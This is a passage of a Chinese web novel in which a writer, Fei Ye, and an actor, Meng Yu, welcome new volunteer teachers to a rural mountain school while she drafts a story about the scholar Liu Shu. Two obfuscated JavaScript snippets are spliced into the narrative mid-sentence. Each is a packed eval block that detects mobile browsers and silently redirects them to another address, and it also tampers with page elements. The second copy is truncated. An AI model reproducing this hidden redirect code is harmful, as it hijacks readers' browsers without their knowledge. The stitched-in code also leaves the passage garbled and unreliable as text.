,单吊着他的腿挂在城楼,血淅淅沥沥地往下流,衣不裹尸,他们觉得这样就能泄愤,但不知道倒着的柳疏依然顶天立地。】 孟余看到这,眼神里闪烁着让人看不懂的情绪,似乎是释然,又好像是理解这个人物,孟余把费野写的内容读了出来,他问说,“大家真的不会觉得柳疏这个角色的选择有些… 傻吗?” “怎么会,我很喜欢这个角色的。虽然我给他写的结局不是很好,那是故事逻辑里必然会发生的结果,但真说这个角色的话,顶天立地的人怎么会傻,只有模仿人走路的野兽才会觉得人傻,野兽觉得四肢着地跑得快,何必两脚前行。” “那有点像二十四节气谷,里面的猴子总是往里跑。” “嗯有点那意思,看来你也看宝儿姐啊。” “哈哈哈哈哈。” 话题就这样被打乱了,但是费野能感受到他对角色的喜欢,这也是个很新鲜的经验,他自己也没想到自己的新作品竟然能直接跟演员分享。 时间只要足够长,作品就会完整。 那时候小说就能变成更多的机会,孟余喜欢柳疏,或许他就能饰演柳疏也不一定。 这个世界一切皆有可能吧。 一大早费野开窗自己的稿子就被吹了出去,刚好被来找他的孟余捡到还给她,可能是喜欢这个角色?孟余简单的和费野聊了几句就离开了。 山里的清晨来得很慢,窗外的光刚刚透进来,她突然觉得和孟余聊完来,感觉故事都变得干净又清亮。 临出发去火车站还有半小时多,孟余已经在操场边等着了。 他站在等巴士的地方,自己拿着一杯外,手里还提着一杯热豆浆。 “现在出发?”他笑了一下。 费野接过他递过来的另一杯,“我以为山里会很安静,结果早上这么热闹。” 虽然是周末,也有孩子住在学校。操场上有几个小孩在打篮球,球拍在地上发出很响的声音,远处的山被晨雾盖住一半,太阳慢慢从山背后爬出来。 孟余把车门打开,“走吧,去接人。” 车开出校门的时候,费野回头看了一眼那块操场。早晨的光照在地面上,泥地的颜色显得很温暖。 山路比昨晚看起来更清楚。 一层层梯田顺着山坡铺开,水面反射着天光。远处有人在田里弯腰干活,动作慢慢的。 两人坐在去县镇上的大巴上,费野把窗户摇下来一点空气很凉,“你每天都这么早起?”费野看着透亮的天空忍不住问费野。 “差不多。”孟余说,“但其实孩子们起得更早。” 车沿着山路往下开,转过几个弯之后,山谷里的雾慢慢散开。远处的小镇露出来,屋顶一排排挤在一起,费野看了一会儿风景,忽然说,“我昨天晚上在想一个问题。” “什么?” “如果一个人想改变一个很大的规则,他应该怎么开始?” 孟余侧头看了她一眼,“又在想你的小说?” 费野笑了一下,“差不多。” “那你想到答案了吗?” “没有。”她摇头,“我只觉得,不可能一开始就很厉害。” 孟余想了想,“那就先变成一个看起来没什么威胁的人。” 费野愣了一下,他的想法跟冉菲菲的几乎一致,还是大家都知道以卵击石是不理智的? “为什么?” “因为规则是有守卫的。”他说,“如果你一开始就很锋利,很快就会被注意到。然后就会被一直盯着,一直被为难,一直成功不了。” 费野没有注意到孟余说这个事情的时候眼神里充满的无奈,她只是点了点头,表示自己也知道这个道理而已 车经过一个小桥,桥下是浅浅的河水。 她忽然想起孟余主动跟他提的沈观,“你说沈观那种人,现实里会存在吗?” 孟余没有马上回答。 他看着前面的路,过了一会儿才说,“会,但很少,而且做出来的选择和决定肯定得不到别人的理解,沈观这种人只会得到无数的骂名,但是谁又能知道谁就是好人呢。” 费野靠在窗边,“那柳疏呢?” 孟余停了一会,才跟着笑了一下,“应该更少吧,或许这样的人一定会知道自己的结局。” 山路慢慢变宽,他们离镇子越来越近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291089|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 费野忽然说,“我小时候听过一个很奇怪的故事。” “什么故事?” “有个村子里的人,每年都会选一个最倒霉的人。” 孟余皱了一下眉,“为什么?” “因为他们相信,倒霉会传染。”费野说,“只要把倒霉的人赶走,村子就会顺利。” 车在路口停了一下,孟余看着她,“后来呢?” 费野耸了耸肩,“后来有一年,大家发现最倒霉的人其实是村长。” 孟余忍不住笑了,“那他被赶走了吗?” “没有。”费野说,“因为规则是村长定的,村长认为这个糟糕透了的规则应该被废除了。” 车重新启动,孟余笑了一会儿。 “这故事挺真实挺残酷。” 费野点点头,“所以我在想,改变规则的人到底要不要先进入规则。” “要。”孟余说。 “为什么?” “因为你不进去,就看不见规则是怎么运作的。” 费野安静了一会儿,远处火车站的建筑慢慢出现。镇子的车流比山里多一点,街道上有卖早餐的小摊。油锅的香味飘在空气里。 孟余把车停在站外的停车场,巴士车下来后,孟余回去缴纳了停车费,然后开车往火车站方向行驶。 “他们应该快到了。”费野坐在副驾驶伸了个懒腰,“你说这次来的老师会是什么样?” “教什么课程的都有。”孟余说。 “会不会有人后悔?” 孟余想了一下点头回答,“可能会。” “那你呢?”费野看着他,“你后悔过吗?” 孟余沉默了一会儿,“没有后悔,我不会后悔。” 费野笑了,“你回答得很快,看来早就想过这个事情了。” 孟余也笑了一下,“因为我当时就知道自己在做什么。” 火车站的广播响起来,人群开始往出口走。费野站在车旁,看着一个个陌生的面孔从大厅里出来。 她忽然觉得,这些人很像棋子,来自不同地方,走到同一个局里,而他们现在站在这里,就像棋盘的边缘。 25.第二十五章 费野没有计算自己等了多久,但是火车站的出站口一直有人流走出来是真的。 太阳已经爬得有些高了,广场上的水泥地被晒得有点发亮。 远处卖早餐的小摊还没有完全收摊,油锅里的香味混着豆浆的热气,在空气里慢慢散开。 费野站在孟余旁边,看着人群一批一批走出来。 走出来她猜一个,走出来又猜一个。 有拖着大箱子的学生模样的人,也有背着大包的旅客,还有本地人骑着电动车从旁边慢悠悠地经过。 整个小镇车站的节奏比城市慢很多,连人走路的速度都显得不着急。 孟余把牌子举在胸前。 费野的视角只能看到白底黑字的支教志愿者几个字,牌子在阳光下很显眼。 费野看着那牌子,忽然有点想笑,她觉得孟余现在看起来像是在演一个旅行社的职员,如此想着费野小声说,“你这样真的很像旅行社导游。” 孟余侧头看她一眼,笑了一下,“差不多。” 话音刚落就看到一个拖着行李箱的女生从人群里走出来。 她穿着一件浅色衬衫,牛仔裤,头发扎成马尾。走路的步子很快,一边走一边抬头看周围。 很快,她的目光落在那块牌子上。 女生停了一下,确认似的又看了一眼,然后拖着行李快步走过来。 “是支教接站吗?”女生的声音清脆。 费野点头,接着说,“对。” 女生松了口气,把行李箱停在脚边,“太好了,我刚刚还担心自己走错地方。” 她伸出手,“你好,我是宋知夏。” 费野也笑了,“费野。” 孟余点了点头,“孟余。” 宋知夏明显知道这个名字,但她看了他一眼,但表情很自然,只是点点头。 “我知道你。” 语气平静得像是在说一个普通同事,费野有点意外。宋知夏却已经低头去整理自己的背包。 “剩下还有几个人?”她问。 “还有三个。”孟余说。 宋知夏点点头,她站在那儿四处看了看。 车站广场上有几个卖水果的小摊,一个老大爷正用刀切西瓜。旁边还有卖矿泉水和饼干的小店。 宋知夏忽然说:“等人是不是要挺久?” 孟余看了看手机。 “可能还要半小时。” 宋知夏啊了一声。“那我去买点水。”说完她已经拖着箱子往小店走。 费野愣了一下,跟了过去。 小店不大,门口挂着一排饮料。宋知夏直接拿了四瓶矿泉水,又顺手拿了两瓶冰的。 “这么多?”费野问。 宋知夏笑了一下。 “等会儿人多。”她把水递给费野一瓶,又递给孟余一瓶,“先喝着。” 费野拧开瓶盖喝了一口,冰水顺着喉咙下去,整个人一下清醒了不少。宋知夏已经坐在小店门口的塑料椅上,她把背包往脚边一放,整个人很放松。 “你们已经来这儿多久了?”她问。 “我昨天到的。”费野说。 宋知夏点点头,喝了口水咽下去后问道,“有点好奇,你还适应吗?” 费野想了想,“还行。” 宋知夏笑了,“那就好。” 她说话的时候很自然,好像跟谁都能聊两句。远处有个小男孩骑着自行车从广场边绕过去,车铃叮叮当当地响。 宋知夏忽然站起来,“等一下。” 她走到小男孩旁边,弯腰说了两句什么,费野没听清。过了一会儿,小男孩不好意思地笑了一下,把车推到旁边去了。 宋知夏这才回来。 费野好奇地问:“怎么了?” 宋知夏耸了耸肩。 “他刚才骑太快了。这里人多,容易撞到人。” 费野忍不住笑。 “你这么快就开始管秩序了。” 宋知夏也笑,“职业习惯。” “你以前是老师?” 费野其实有点好奇的,但实际上据她所知好像都是在读书的学生? “不是。”她说,“兼职做活动策划的。”她把矿泉水瓶在手里转了一圈,“人多的地方,总要有人提醒一下。” 费野看着她,忽然觉得这个人很好相处,她说话直接,但不让人不舒服。 宋知夏看了一眼孟余,“你们在这儿等很多次了吗?” 孟余点头,“最近才开始,后面会比较多。” 宋知夏喝了一口水,“挺好的。”她看着广场上的人流,忽然说:“支教这种事情,其实挺奇妙的。” 费野问:“怎么说?” 宋知夏想了想,“很多人会觉得这是很伟大的事情。”她笑了一下,“但我觉得,也就是一份工作。” 费野有点惊讶。 宋知夏继续说,“做好是好事,做不好也不至于世界毁灭。量力而行就行。” 她说话的时候很轻松,费野忽然觉得,这种态度挺少见。既不神圣化,也不否定,就只是很现实。 远处出站口的人又多了一批,孟余看了一眼时间,“他们那趟车应该到了。” 宋知夏站起来,“那我先去车里等吧。” 她拖起自己的行李箱,三个人往停车场走。车停在一排旧越野车中间,车身上落了一层薄灰。 宋知夏把行李放进后备箱,然后拉开后座车门,她坐进去的时候还不忘说一句:“你们继续接人我先占个位置。” 宋知夏把行李箱放回去,然后走到车旁,拉开后座的车门,很自然地坐了进去。车门砰地关上,车里顿时安静下来。她把背包放在膝盖上,整个人往后一靠,看着两人离开之后自己长长地呼了一口气。 外面的阳光透过车窗照进来,车里的空气有点热,其实呆着不舒服,看着两人离开之后,她才打开车门出来,宋知夏从口袋里摸出手机。 她打开聊天软件,屏幕上最上面就是支教群,群名很朴素山南小学支教群。她刚刚在广场上一直忍着,现在终于忍不住,飞快点开一个好友对话框。 宋知夏:【我到了!!!】 宋知夏:【救命】 宋知夏:【接站的人是孟余】 对面几乎秒回。 【????真的假的】 【是那个演员吗】 除了聊天还有其他新弹出来的信息,宋知夏来回点还不忘手指飞快敲字,完全没有注意聊天界面已经跳成了其他群。 【真的,本人比电视上好看,而且人特别正常】 她打到这里的时候,忽然愣了一下,因为屏幕最上方的聊天框名字变成了山南小学支教群 宋知夏:“……” 她瞳孔地震,基本上消息刚发出去,她整个人猛地坐直。 “卧槽。” 手指飞快点撤回。 “知夏撤回了一条消息” 她盯着屏幕,群里安静了两秒,没有人说话。 宋知夏心跳飞快,她立刻又发了一句。 宋知夏:【已经找到组织了,大家不用担心,等待和其他朋友见面中】 然后把手机扣在腿上,整个人仰在座椅上,感叹起来。 “活着真好。” 车外,费野站在树荫下看了一眼车里。宋知夏已经坐在后座,低头玩手机,看起来很放松。 费野忍不住笑了一下,她转头问孟余。 “要不要在群里问问另外几个人什么时候到?” 孟余摇头,解释道,“他们应该快到了。” 费野点点头,但还是把手机拿出来,她打开支教群,看见群里刚刚那条撤回消息,她愣了一下随即笑了笑,也没多问。 群里信息是宋知夏的留言。 宋知夏:【已经找到组织了,大家不用担心,等待和其他朋友见面中】 费野把定位重新发了一遍。 费野:【我们在出站口右边停车场】 然后又单独把位置私发给群里另外三个人,发完之后她把手机收回口袋,远处的出站口玻璃门又打开了一次。 人群慢慢往外走。 …… 与此同时,火车站另一头。两个女生拖着箱子刚走出站口。她们几乎同时停住脚步。 “等一下。”其中一个女生猛地拉住同伴,另一个人愣住。 “怎么了?” 她们顺着人群的方向往外看,广场上有一块白色牌子。 牌子后面站着一个人,两人对视了一秒,同时吸气,然后抱在一起,一整个激动又无声尖叫。 “啊啊啊啊啊啊!!!”但她们没有发出声音,只是拼命跺脚,像两只突然发现猎物的小松鼠。 “是不是他?” “是他吧!!” “我不敢看!!” “你再看一眼!!” 她们两个人抱在一起,小幅度原地转圈,拖着行李箱的轮子在地上吱吱响。 过了几秒,其中一个深呼吸。 “冷静。” 另一个人点头。 “冷静。” 她们同时整理头发。 “我们只是普通支教老师。” “对。” “不是私生。” “绝对不是。” 她们重新抬头,远处那个人还站在那里。白色T恤,阳光落在肩膀上,旁边还有一个女生。 两人沉默了好久,然后同时小声说,“走。” 费野刚把手机收起来,就看见两个女生拖着箱子往这边走。 她们的脚步明显有点快,但又在努力放慢,看起来像是在控制自己的速度。 两个人走到近前的时候,先对视了一眼,然后其中一个人率先开口。 “你好。” 声音有点紧。 “我们是来支教的。” 费野点头。 “欢迎。” 女生松了一口气,她看向孟余。 “你是……孟余老师吗?” 孟余点头。 “嗯。” 两人同时深吸一口气,然后非常克制地笑了一下。 “你好。” 她们几乎同时说,然后其中一个女生自我介绍。 “我叫乔鹤。” 她个子不高,戴着眼镜,背着一个明显很重的双肩包。费野注意到,那个包鼓鼓的像装了很多书,乔鹤说话的时候很认真。 “我是学中文的。这次来主要想做阅读课。”她停了一下,然后补了一句,“如果条件允许的话。” 费野点头。 “欢迎。” 旁边另一个女生已经忍不住四处看,她眯着眼睛看停车场,又看远处的小摊,像是在观察什么。 “我叫孙淼淼。”她说着,声音语气轻快一点,“我是新闻专业。” 她抬头看了一圈,“这个地方比我想象中好一点。” 乔鹤小声说,“你不是说可能会很破吗。” 孙淼淼耸肩,“我只是做最坏准备。”她看向孟余,眼神很直接,“你真的在这儿待很久了?” 孟余点头,回答着,“几个月。” 孙淼淼挑眉,“那挺厉害。”她停了一下忽然笑,“不过我很好奇。一个演员为什么会来这里。” 空气安静了一瞬,费野看了她一眼,孙淼淼却很自然。 “别误会。” 她举手,“我只是职业习惯,总结观察,还有提问。” 乔鹤赶紧拉了她一下,“别问太多。” 孙淼淼耸耸肩,“好吧。”她拖着箱子往车那边看,手指着某个方向,“车在那里?” 费野点头,“宋知夏已经在车里。或许也在车外等着。” 费野看了过去刚好看到对方开车门走出来。乔鹤愣了一下也跟着看过去,“她到了?” “嗯。” 孙淼淼笑了。 “那我们去会合。” 两人拖着箱子往停车场走,阳光落在广场上。 远处又有人从车站出来,离开的人越来越多,出站口的人流慢慢变得稀疏起来。 乔鹤和孙淼淼刚和费野,孟余打完招呼,还站在广场边的树荫下。 乔鹤把自己背上的书包稍微往上提了一下,书包里塞满了书,重量明显不轻。 孙淼淼则把行李箱横着立在脚边,整个人半靠着拉杆,目光仍然在四处打量。 她看了一圈广场,又看了看远处的街道,忽然小声说了一句:“这里比我想象中热闹。” 乔鹤笑了一下:“你不是一路上都在担心条件太差吗?” 孙淼淼耸耸肩:“做最坏打算总没错。” 她正说着,出站口玻璃门又打开了一次,费野和孟余把手里的牌子又举了起来。 一个男生拖着黑色行李箱走出来。 他穿着简单的灰色T恤和运动裤,背着一个电脑包。步子不快,但很稳。刚走出来,他就停在门口看了一眼四周,像是在确认方向。 很快,他的目光落在孟余举着的那块牌子上。 男生拖着行李箱走过来。 “你好。”声音很平静,“请问是支教接站?” 费野点头,“对。” 男生微微点头,“林然。” 他简单报了名字。 费野笑了一下:“费野。” 放完行李耐不住热的乔鹤和孙淼淼回来这边,见到新人来也跟着自我介绍。 林然点了点头,他看起来不像那种会多寒暄的人,打完招呼之后就拖着行李箱往停车场走。 费野还愣了一下,孙淼淼小声说:“行动力挺强。” 乔鹤忍不住笑,几个人跟着往车那边走。停车场不大,车子停得稀稀拉拉。孟余的越野车停在最外侧,车身在阳光下显得有点旧。 林然已经把行李箱放进后备箱,大家的箱子乱放就会占位子,他把箱子整理了一番,最后把箱子推到最里面,动作很利索,关上后备箱的时候,他回头看了一眼车。 “我坐副驾驶可以吗?” 他说话很直接。 费野愣了一下,注意到费野愣了一下,林然解释了一句:“女生多,我坐前面方便一点。” 语气不算刻意礼貌,但也不让人觉得不舒服。 费野点点头:“可以。” 宋知夏从车窗里探出头。 “又来了两位?” 孙淼淼笑着挥手:“是我们。” 宋知夏立刻笑起来:“快上车。” 乔鹤和孙淼淼坐进后排,宋知夏往里挪了挪,给她们腾出位置。 林然已经拉开副驾驶车门,就在这时候,费野忽然想起一件事。 “对了。”她看向孟余,“回程不是说我开车吗?” 孟余站在车门边,愣了一下。 “嗯。” 费野刚准备说话,孟余忽然开口;“如果你不介意的话……”他顿了一下,“能不能还是我开。” 费野看着他,孟余补了一句:“你坐后面,顺便给大家介绍一下学校情况。” 费野愣了一秒,然后笑了。 “行。” 她把车钥匙递回去。 “那我就当导游了。” 大家都笑了一下。 车门关上,发动机响起来,车慢慢驶出停车场。 大家都有些疲惫,不约而同选择了安静,前排是孟余和林然,后排坐着费野、宋知夏、乔鹤和孙淼淼。 越野车开出镇子的时候,街道两边的小店慢慢往后退。卖水果的摊子、早餐铺子、骑电动车的人,一点点被甩在身后。 很快,路就变窄了。 两侧开始出现山,孙淼淼把头靠在车窗边,看着外面。 “这里风景还挺好。”费野笑了一下,“等再往里走会更好。” 宋知夏问:“学校在山里?” “对。”费野点头,“车还要开差不多一个小时。” 乔鹤听得很认真,她把背包抱在怀里。 “学生多吗?” 费野想了想,“整个学校差不多一百多个学生。” 孙淼淼挑眉:“这么少?” “因为年级不多。”费野解释,“小学一到六年级,每个年级只有一两个班。” 乔鹤点头,“那挺好的。”她的眼睛亮了一点,“阅读课应该能做起来。” 孙淼淼笑了,“你还没到就开始想课程了。” 乔鹤认真地点头,“知识和教育改变命运。”她说这句话的时候非常认真。 车里安静了一秒,宋知夏笑着拍了拍她的肩。 “理想主义。” 乔鹤不好意思地笑了一下。 费野继续说:“课程其实挺灵活的。学校老师不多,所以我们来的这些人会分担一些课。” 孙淼淼问:“随便教?” “不完全。”费野说,“会根据大家擅长的东西安排。” 她看了一眼乔鹤,“比如你带阅读课。” 乔鹤眼睛一下亮起来。 “真的吗?” 费野笑:“应该没问题。” 她又看向孙淼淼。 “如果你愿意,也可以做一些新闻或者表达类的课程。” 孙淼淼愣了一下,不确定地反问道,“新闻?” 费野点头,“比如教孩子观察、写记录。” 孙淼淼忽然觉得有点有趣。 “这个可以。” 宋知夏问:“那我呢?” 费野想了想,“活动组织。学校其实挺需要这种东西的。” 宋知夏笑了,“这我熟。” 车继续往山里开,远处的山线越来越近。林然一直没说话,他看着窗外,过了一会儿才开口。 “其实支教不一定能改变什么。”车里几个人同时看向他,林然语气很平静,“很多人来这里,都会有一种改变世界的想法。”他顿了一下,“但现实不是这样。” 乔鹤微微皱眉,“你不觉得教育很重要吗?” 林然点头,“重要。”他看向远处的山,“但支教对于你我,更像是理解世界。” 孙淼淼挑眉,“这句话我同意。” 车继续往山里开,支教的路看起来才刚刚开始。 …… 天已经完全黑下来了。 山里的夜来得很快,傍晚那一点橘色的光刚刚消失,操场边的灯就亮了起来。 灯光不算很亮,但足够照清食堂门口那一小片空地。 学校食堂是一栋两层的小楼,一楼是学生吃饭的地方,二楼是老师偶尔开会用的教室。墙面刷得很干净,能看出来是近几年重新翻修过的。 刚到学校的支教老师们简单放好行李,就被叫来食堂吃晚饭。 锅里的菜已经盛好,香味从窗口飘出来。 学生们排着队,一边拿着餐盘,一边偷偷往这边看。 今天学校突然多了几张陌生的面孔,对他们来说显然很新鲜。 费野端着餐盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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食堂另一边,林然坐在角落的一张桌子上,他没有参与聊天。餐盘放在面前,旁边放着一个小本子。他一边吃饭,一边在本子上写东西,孙淼淼好奇地看了一眼。 “他在干嘛?” 费野小声说:“观察。” 林然的目光偶尔抬起来,看窗户、看灯、看墙面。他似乎在记录学校的设施结构,比如食堂的容量、学生数量、餐具摆放。 整个过程非常安静,他像是在做一项研究,食堂里最安静的地方,却是孟余那一侧。 他没有坐在老师这一桌,而是在学生那一排桌子旁边。他拿着一个大勺子,在帮学生添饭,动作很自然,像已经做过很多次;学生们围着他。 “孟老师,我还要一点。” “孟老师,这个菜是什么?” “孟老师我今天跑步第一名。” 孟余只是点头。 “好。” “慢点吃。” “别烫。” 他说话不多,但每个学生都围在他旁边,像是习惯了。费野坐在老师那一桌,看着这一幕,她忽然意识到,孟余其实离他们很远,不是空间上的远,而是一种位置上的远。 他在学生中间,而他们在一桌聊天,乔鹤坐下来之后,看着那一幕她轻声说:“我觉得他是主动来的。” 孙淼淼抬头,好奇问道,“为什么这样觉得?” 乔鹤看着孟余,“因为他和学生关系很好。” 她说得很认真。 孙淼淼摇了摇头,“演员怎么可能长期不工作。”她语气很现实,“我觉得可能被公司雪藏了。” 宋知夏刚从窗口回来,听见这句话,她放下餐盘,“我查过他的资料。” 几个人同时看向她。 宋知夏说,“他以前其实挺火的。”她停了一下。“后来突然没消息了。” 孙淼淼挑眉,“你看吧。” 乔鹤皱眉,“也可能是他自己选择的。” 宋知夏耸肩,“也可能。” 几个人的目光又落在费野身上,费野低头吃饭没有说话。因为她昨天问过孟余,但没有答案。 这时候,一个老师端着餐盘走到孟余旁边,他有点不好意思地笑。 “孟老师。” 孟余抬头。 “嗯?” 老师问,“你以后还会回去拍戏吗?” 食堂安静了一瞬,很多人都在等答案,孟余看着那碗饭停了一下,然后说:“不知道。” 语气很平静,像是真的不知道答案,也真的把一切都交给了时间,那个老师愣了一下,随后笑着说:“莫愁天下无知己。” 他举起筷子;“天下谁人不识君。” 食堂里重新响起说话声,孟余只是笑了一下,没有再说话。 夜已经深了。 山里的夜晚比城市来得更彻底。操场边那几盏灯亮着,但光线只照得见一小圈地方,再远一点,就只剩下黑色的轮廓。 费野从宿舍里走出来的时候,楼道已经很安静。 大部分人都回房间休息了,白天刚到学校,一路赶路又折腾,大家都有点累。宿舍楼的走廊很长,两侧是简单的木门,灯是那种白色的日光灯,亮得有点直。 费野靠在走廊的栏杆旁,她低头看着操场。夜风从山里吹过来,带着一点凉意,远处能听见虫鸣,一阵一阵,很密。 她其实没有特别想做什么,只是突然不太想回房间。白天的很多画面在她脑子里慢慢浮出来。 学生们吃饭的样子、操场上跑来跑去的小孩、乔鹤认真问“你们喜欢读书吗”的表情,还有孙淼淼悄悄观察周围的眼神。 她忽然开始想那些孩子的未来,这种想法很自然。就像有人看见一条河,会不自觉去想它会流到哪里。 比如今天那个说喜欢漫画的小男孩,费野想象了一下,如果他一直待在这里。 小学毕业,可能去镇上的初中。如果成绩还不错,或许会去县城读高中。再往后呢?她不知道,也许会继续读书,也许会回来。 也许几年后就像今天在车站看到的那些人一样,骑着电动车,背着包,去某个城市打工。 她又想起那个吃两碗饭的小孩,他跑得很快。如果有人教他跑步,会不会成为运动员?又或者他以后会在这里当老师? 费野的思路越想越远,她忽然意识到,这些孩子的人生其实有很多可能。 但很多可能需要条件,需要机会,需要某些偶然的节点。 比如一门课。 比如一个老师。 比如一次走出这座山的机会。 她忽然有点焦虑,一种轻轻的、像水一样的担心,这种焦虑不会很沉重,但随着时间的流逝会在不同孩子身上得到不同答案。 她想,如果自己在这里待一段时间,能做什么?教语文?教写作?或者像乔鹤那样做阅读课?可这些东西真的能改变什么吗? 她想象了一下很多种未来,有的未来很普通,有的未来很远,有的未来甚至完全不在她能理解的范围里。 她忽然觉得,人和人的差异,好像从一开始就存在。有人出生在城市,有人出生在山里,有人从小就能接触很多东西,有人直到长大都没离开过一座小镇。 这些差异是什么时候出现的?什么时候又能消失? 费野正想得出神,身后忽然响起脚步声。她回头,孟余从楼梯那边走过来。他手里拿着一瓶水,像是刚从楼下上来,“你还没睡?” 费野笑了一下,“出来透透气。” 孟余走到栏杆旁边,也往操场看了一眼,夜里的操场很安静,只有风吹过树叶的声音,孟余看了她一看,“刚才看你站很久了。” 费野愣了一下,“你看见了?” “嗯。” 孟余语气很自然,“在想什么? 费野没有马上回答,她又看了一眼操场,“在想那些孩子。”孟余点点头,没有打断,费野继续说:“我刚才在想,他们以后会变成什么样的人。” 她停了一下,“有的可能会离开这里。有的可能一直在这里生活。”她笑了一下,“我甚至在猜,他们会做什么职业。” 孟余听着,没有说话。过了一会儿,他问:“那你打算教什么?” 费野愣了一下,这个问题很简单,但她突然不知道怎么回答。她想了一会儿,没有给出答案,反而问了一句:“你有没有想过一个问题?” 孟余看着她,费野慢慢说,“为什么会有差异?为什么有的人从一开始就拥有很多选择。而有的人要很努力,才可能拥有一点点选择。”她说话的声音很轻,像是在自言自语,“什么时候这些差异会消失?” 她看着远处黑色的山影,“什么时候大家可以不用考虑这些。只去做自己喜欢的事情。” 走廊忽然安静下来,孟余靠在栏杆上,风从山谷吹上来,他的目光落在远处,没有回答。 费野也没有继续说话,她不知道孟余在想什么。有时候,人沉默的时候,像是在想很远的事情。 过了很久,孟余才开口声音很低,“以后会这样的。” 费野转头看他,孟余没有看她,只是看着远处的夜色,他说,“未来肯定会这样的。” 26.第二十六章 天刚亮的时候,山里的空气还有点凉。 费野起得很早。 宿舍楼里还没有什么动静,走廊灯关着,只剩窗外一点灰蓝色的天光。 她简单洗了把脸,披着外套就下了楼,操场上没有人。 夜里留下的水汽还没有散开,远处的山像是被一层薄雾罩住,只露出隐约的轮廓。山和山之间像一条缓慢流动的灰色河流。 费野走到操场边,找了个台阶坐下。 操场是政府几年前重新修过的,地面是那种深红色的塑胶跑道,中间铺着绿色的人造草坪。灯杆整齐地立在四周,虽然算不上很新,但明显是认真维护过的。 她把电脑放在膝盖上,屏幕亮起来的时候,周围还很安静。她其实不是为了写作才出来的。只是昨晚在走廊上想了很多事情,脑子一直没有完全停下来。 可当她把电脑打开,光标在文档里闪了一会儿,她忽然就想起自己那本一直没有写完的古言小说。 文档的名字叫《唤神》,副标题青简凤尾录,费野盯着标题看了一会儿。 然后慢慢开始打字,故事的背景是一个很古老的王朝,天下大旱,百姓流离,朝廷却在修建新的祭坛。 她写下一个场景,一座高高的台阶,台阶尽头是皇城的大门。一个穿着青衣的书生提着剑站在那里。 他的名字叫柳疏,费野写着写着,脑子里慢慢浮现出画面。 柳疏不是那种锋利的人,他读书、习武、写字,他相信道理,可这个世界并不总是讲道理。 费野写了一段对话。柳疏站在皇城前,说:“天下饥荒,为何不开官仓?” 守门的人让他退下,柳疏没有退他提着剑,看起来要直接向着皇宫而进。 费野停了一下,她忽然想到,这个故事其实和她现在坐的地方有一点奇妙的联系。 一个人站在规则面前,一个人想改变规则。 她笑了一下,手指继续敲键盘,写着写着,远处忽然传来一阵音乐声。 一开始很小,像是从山谷里慢慢飘出来,过了几秒,喇叭声调整好音量,她才反应过来是学校的早操音乐。 那种很熟悉的广播音质,音乐从教学楼那边传过来,带着一点回音。 费野抬起头,清晨的雾已经慢慢散开,孩子们陆续走出来。 他们穿着统一的校服,那是政府统一拨款买的蓝白运动服,款式很简单。颜色已经洗得有点旧,但看得出来是统一配发的。 从远处看过去,孩子们像一片整齐的蓝色。但走近一点,就能看出差别。 有的孩子走得很快,有的孩子拖着步子。 有的低着头,有的已经开始说笑。 费野合上电脑,坐在台阶上看,她很快发现,这些孩子虽然穿着一样的衣服,但脸上的表情完全不同。 有几个男孩一出来就开始互相推搡。 “你昨天作业抄我!” “谁抄你了!” 声音越来越大,旁边一个女孩冷着脸看着他们。 “吵什么。”她语气很硬,表情看起来也像是对这些男生的吵闹感到不解和厌烦。 其中一个男孩立刻反驳,“关你什么事!” 女孩不甘示弱,“你吵到我了。” 两个人几乎要顶到一起,费野看着这一幕。她忽然意识到,这些孩子身上都有一点刺。 但不至于是那种故意惹事的刺,而是一种习惯性的防御,像小动物,如果不先露出牙齿,就会被咬。 她想起之前听人说过,这里的很多孩子不是事实孤儿,就是留守儿童。有的父母在外地打工,有的几年都不回来。 这样的环境里,如果太温顺,很容易被欺负。 她刚想到这里,操场另一头已经有人走过去,费野看过去走过去的是孟余。 他没有跑,只是走过去,站在两个孩子中间。 “怎么了?”他的声音不大。 但两个孩子立刻停下来,其中一个男孩低头。 “没什么。” 孟余看了他们一眼,“准备跑步。” 语气很平,像是早就习惯处理这种事情。 孩子们很快散开,音乐还在放。学生们开始排队,几个小孩看到孟余,立刻跑过来。 “孟老师!” “孟老师你昨天说今天带球!” “孟老师我跑第一!” 他们围着他说话,声音一下子变得热闹,孟余没有急着回答,只是点点头,“慢点说。” 孩子们却越说越多,有人拉他的袖子,有人给他看手里的纸。 费野坐在操场边,看着这一幕,晨雾慢慢散开,远处的山轮廓越来越清晰,这群孩子也变得越来越清晰。 操场上跑步的队伍开始动起来,蓝白色的校服一圈一圈绕着跑道,孟余被孩子们围在中间。 他不说很多话,但孩子们都在他身边,费野忽然有一个奇怪的念头,如果时间停在这里,也许也很好。 远山、操场、孩子们的笑声,还有一个人站在他们中间。 …… 学校的课程结束得早,四点过后,操场上的学生就陆续散开了。有的在踢球,有的围在教学楼门口跳皮筋,还有几个小男孩在跑道上比赛谁跑得更快。 费野坐在教学楼二楼的走廊尽头。 那里有一排旧木桌,本来是给老师批改作业用的。桌子靠着窗,抬头就能看见远处的山。 山的颜色在下午变得很柔和,费野把电脑打开,文档停在她早上写的那一段,她盯着屏幕看了一会儿,然后开始往下写。 《神祭》 第一章 城墙很高,柳疏站在城门前的时候,城里的风从高处吹下来,他穿着青色长衫,腰间挂着一柄剑,那把剑叫青简。 剑鞘已经有些旧,但剑柄上缠着的布很干净,城门口的守卫拦住他。 “何人?” 柳疏抬头,他眼睛很平静,“草民求见皇帝。” 守卫愣了一下,像是没想到他的直白,“你?” 柳疏点头。 “百姓饥荒。我来求开官仓。” 守卫笑了一声,“你是什么人?” 